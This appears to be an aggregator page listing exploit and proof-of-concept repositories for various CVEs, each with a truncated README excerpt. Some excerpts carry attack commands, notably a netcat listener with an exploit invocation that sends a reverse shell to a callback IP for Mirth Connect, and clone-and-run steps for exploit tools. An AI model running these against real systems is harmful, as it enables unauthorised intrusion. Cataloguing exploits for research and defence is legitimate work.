CVE-2020-11890

Made by HK CVE-2020-11890: Improper input validations in the usergroup table class could lead to a broken ACL configuration to RCE Link https://developer.joomla.org/security-centre/810-20200402-core-missing-checks-for-the-root-usergroup-in-usergroup-table.html PoC Affected version: Joomla core...

PoC-Apache-CVE-2021-41773-Infrastructure-LAB

Apache CVE-2021-41773 — Lab Docker PoC Security Notice This repository reproduces a publicly disclosed and patched vulnerability in a controlled Docker lab environment for educational and research purposes. The environment is intentionally vulnerable and must only be deployed in isolated test...

cve-2025-62726-poc

CVE-2025-62726 POC - n8n Git Node RCE Educational Purpose This is a proof-of-concept demonstration for CVE-2025-62726, created for educational purposes as part of a class project. Part of CMU Course : 18-739 Hacking & Offensive Security in Fall 2025 Vulnerability Overview CVE ID: CVE-2025-62726...

covenant_rce

This repository does not have a README...

react2shell-CVE-2025-55182

React2Shell Exploit CVE-2025-55182 Python exploit for Next.js React Server Components RCE vulnerability with HTTP/HTTPS support. 🚀 Quick Start Clone & run git clone https://github.com/BrianLopezM99/react2shell-CVE-2025-55182.git cd react2shell-CVE-2025-55182 python3 exploitreact2shell.py "" 📖 Usa...

cve-2025-55182-analysis

CVE-2025-55182 — React Server Components RCE Analysis Web application vulnerability analysis · M2 Cybersecurity · 2025 Author: Niane Mohamed · LinkedIn End-to-end exploitation chain of a critical CVSS 10.0 insecure deserialization vulnerability in React Server Components, from reconnaissance to...

CVE-2018-9276

CVE-2018-9276 — PRTG Network Monitor ⚠️ Disclaimer: This tool is intended for educational purposes and authorized penetration testing only. Use it only against systems you own or have explicit written permission to test. Unauthorized use is illegal. Table of Contents Overview Vulnerability Details...

parquet-avro-rce

This repository does not have a README...

CVE-2025-27520-PoC

CVE-2025-27520 — Safe Educational Simulation / PoC Demo Stand ⚠️ Important: This is a safe educational simulation of the CVE-2025-27520 vulnerability. The project includes a simulation service Flask and a safe PoC scanner Python. On receiving a test marker, the simulation creates an evidence file...

Exploit for Improperly Controlled Sequential Memory Allocation in Php

PHP2Shell Security Toolkit A multi-server toolkit for inspect...

cve-2025-64446-fortiweb-exploit

CVE-2025-64446 Fortinet FortiWeb Path Traversal RCE Exploit A security research tool for detecting and testing the CVE-2025-64446 vulnerability in Fortinet FortiWeb Web Application Firewall WAF. This critical zero-day path traversal vulnerability has been actively exploited in the wild and allows...

cve-2026-67363-67364

Balbooa Forms pre-auth RCE + Payment Tampering CVE-2026-67364 / CVE-2026-67363 PoC and detection templates for two pre-auth vulnerabilities in Balbooa Forms combaforms for Joomla, fixed in 2.4.3.2. CVE-2026-67364 — Pre-auth PHP Code Injection - RCE CVSS 9.8 CVE-2026-67363 — Pre-auth Payment Amoun...

CVE-2024-3094

🚨 CVE-2024-3094 — XZ Utils Backdoor 🧠 Overview CVE-2024-3094 is a critical supply chain compromise affecting the widely used XZ Utils compression library. A malicious actor inserted a stealth backdoor into upstream releases, enabling remote code execution RCE via tampered liblzma. ⚠️ This...

FlowiseAI-Critical-KillChain

FlowiseAI — Critical Kill Chain Unauthenticated Account Takeover chained with Remote Code Execution against FlowiseAI Full container compromise in under 5 seconds , zero credentials required. Kill Chain Left: FlowiseAI login page — Right: root shell via CVE-2025-59528 · uid=0root Table of Content...

cve-2025-48384-poc

PoC for CVE-2025-48384 See CVE-2025-48384 To run: git -c protocol.file.allow=always clone --recurse-submodules [email protected]:liamg/CVE-2025-48384.git Example output: git -c protocol.file.allow=always clone --recurse-submodules CVE-2025-48384 test Cloning into 'test'... done. 'ubmodule...

CVE-2025-55182-React2Shell-CVSS-10.0-

Affected Software: React Server Components versions 19.0.0, 19.1.0, 19.1.1, 19.2.0 Vulnerability Type: Pre-authentication Remote Code Execution via insecure deserialization. Description: A flaw in the React Server Flight protocol allows unauthenticated attackers to send specially crafted serializ...

CVE-2023-43208

Mirth Connect RCE - CVE-2023-43208 Description PoC for Mirth Connect Remote Code Execution RCE Affects Mirth Connect Example Start listener nc -lvnp 4444 Run exploit ./exploit https://target.com 10.10.10.10 4444 References https://nvd.nist.gov/vuln/detail/CVE-2023-43208...

CVE-2025-55182-React2Shell-Exploit

Next.js React2Shell CVE-2025-55182 Expl0it A proof-of-concept tool for demonstrating the critical React2Shell vulnerability CVE-2025-55182 / CVE-2025-66478 on authorized, local testing environments only. ⚠️ CRITICAL WARNING: ACTIVE EXPLOITATION LEGAL USE ONLY : Use exclusively against systems you...

Joomla! Agora 3.0.0b - Local File Inclusion

Joomla! Agora 3.0.0b comagora allows remote attackers to include and execute arbitrary local files via local file inclusion in the action parameter to the avatars page, reachable through index.php. id: CVE-2009-3053 info: name: Joomla! Agora 3.0.0b - Local File Inclusion author: daffainfo severit...

ZeroShell <= 1.0beta11 Remote Code Execution

ZeroShell 1.0beta11 and earlier via cgi-bin/kerbynet allows remote attackers to execute arbitrary commands through shell metacharacters in the type parameter in a NoAuthREQ x509List action. id: CVE-2009-0545 info: name: ZeroShell = 1.0beta11 Remote Code Execution author: geeknik severity: critica...